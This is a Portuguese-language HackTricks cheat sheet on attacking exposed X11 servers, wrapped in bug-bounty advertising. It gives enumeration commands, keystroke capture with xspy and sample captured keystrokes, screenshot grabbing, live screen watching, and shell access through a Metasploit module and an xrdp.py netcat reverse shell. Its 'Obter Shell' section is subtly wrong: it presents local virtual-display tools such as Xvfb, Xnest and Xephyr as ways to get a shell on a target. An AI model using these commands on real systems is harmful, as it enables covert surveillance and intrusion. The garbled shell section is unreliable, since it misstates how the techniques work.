hacktricks/network-services-pentesting/6000-pentesting-x11.md

12 KiB
Raw Blame History

6000 - Pentesting X11

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

Informações Básicas

O X Window System (também conhecido como X) é um sistema de janelas para exibições de bitmap, comum em sistemas operacionais baseados em UNIX. O X fornece a estrutura básica para um ambiente baseado em GUI. O X também não impõe a interface do usuário - programas individuais lidam com isso.
De: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Porta padrão: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeração

Verifique a conexão anônima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumeração Local

O arquivo .Xauthority na pasta home do usuário é usado pelo X11 para autorização. De aqui:

MIT-magic-cookie-1: Gerando 128 bits de chave ("cookie"), armazenando-a em ~/.Xauthority (ou onde a variável de ambiente XAUTHORITY aponta). O cliente a envia para o servidor em texto simples! O servidor verifica se possui uma cópia deste "cookie" e, se sim, a conexão é permitida. A chave é gerada pelo DMX.

{% hint style="warning" %} Para usar o cookie, você deve definir a variável de ambiente: export XAUTHORITY=/caminho/para/.Xauthority {% endhint %}

Verificar Conexão

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy para capturar as teclas digitadas no teclado.

Exemplo de Saída:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Captura de Telas

Durante um teste de penetração em serviços X11, é importante capturar screenshots para obter informações visuais sobre a interface gráfica do sistema alvo. Isso pode revelar informações sensíveis, como senhas, chaves de criptografia ou dados confidenciais exibidos na tela.

Existem várias ferramentas disponíveis para capturar screenshots em um ambiente X11. Uma opção popular é o comando xwd, que permite capturar a tela inteira ou uma janela específica. Por exemplo, para capturar a tela inteira, você pode executar o seguinte comando:

xwd -root -out screenshot.xwd

Isso salvará a captura de tela no formato XWD (X Window Dump) em um arquivo chamado screenshot.xwd. Você pode visualizar o arquivo usando o visualizador de imagens xwud:

xwud -in screenshot.xwd

Outra opção é usar a ferramenta import do ImageMagick, que permite capturar screenshots e salvá-los em vários formatos, como PNG ou JPEG. Por exemplo, para capturar a tela inteira e salvá-la como um arquivo PNG, você pode executar o seguinte comando:

import -window root screenshot.png

Essas ferramentas de captura de tela podem ser úteis durante um teste de penetração para documentar as etapas realizadas, compartilhar informações com a equipe ou fornecer evidências de uma vulnerabilidade encontrada.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Visualização de Área de Trabalho Remota

Fonte: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Primeiro, precisamos encontrar o ID da janela usando xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Para visualização ao vivo, precisamos usar

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obter Shell

Uma vez que tenhamos acesso a um servidor X11, podemos explorar várias técnicas para obter um shell no sistema alvo. Aqui estão algumas abordagens comuns:

1. X11 Forwarding

Se o servidor X11 permitir o encaminhamento, podemos usar o comando ssh -X para encaminhar a exibição do servidor X11 para o nosso sistema local. Isso nos permitirá executar aplicativos gráficos no sistema remoto e interagir com eles.

ssh -X user@target

2. Xvfb

O Xvfb (X Virtual Framebuffer) é um servidor X11 que não requer uma exibição física. Podemos usá-lo para criar uma exibição virtual e executar aplicativos gráficos sem uma interface gráfica real.

Xvfb :1 -screen 0 800x600x16 &
export DISPLAY=:1

3. Xnest

O Xnest é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída.

Xnest :1
export DISPLAY=:1

4. Xephyr

O Xephyr é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11 ou dentro de uma janela do gerenciador de janelas. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída.

Xephyr :1
export DISPLAY=:1

5. Xpra

O Xpra é uma ferramenta que permite executar aplicativos X11 em um servidor remoto e exibir a saída em um sistema local. Podemos usá-lo para obter acesso a aplicativos gráficos em um servidor X11 remoto.

xpra start :1
export DISPLAY=:1

6. XDMCP

Se o servidor X11 estiver configurado para permitir conexões XDMCP, podemos usar um cliente XDMCP para se conectar ao servidor e obter uma sessão gráfica.

X -query target

Essas são apenas algumas das técnicas que podemos usar para obter um shell em um sistema alvo através de um servidor X11. A escolha da técnica dependerá das configurações e restrições específicas do sistema alvo.

msf> use exploit/unix/x11/x11_keyboard_exec

Outra maneira:

Reverse Shell: O Xrdp também permite obter um reverse shell via Netcat. Digite o seguinte comando:

./xrdp.py <IP:0> no-disp

Será exibido um novo painel de controle onde podemos ver a opção R-shell, ilustrada abaixo:

Iniciaremos o modo de escuta do Netcat em nosso sistema local na porta 5555, ilustrado abaixo:

Em seguida, adicione o IP e a porta e selecione R-Shell, ilustrado abaixo:

Agora, como pode ser visto abaixo, temos acesso completo ao sistema:

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

Shodan

  • port:6000 x11

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se uma lenda hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥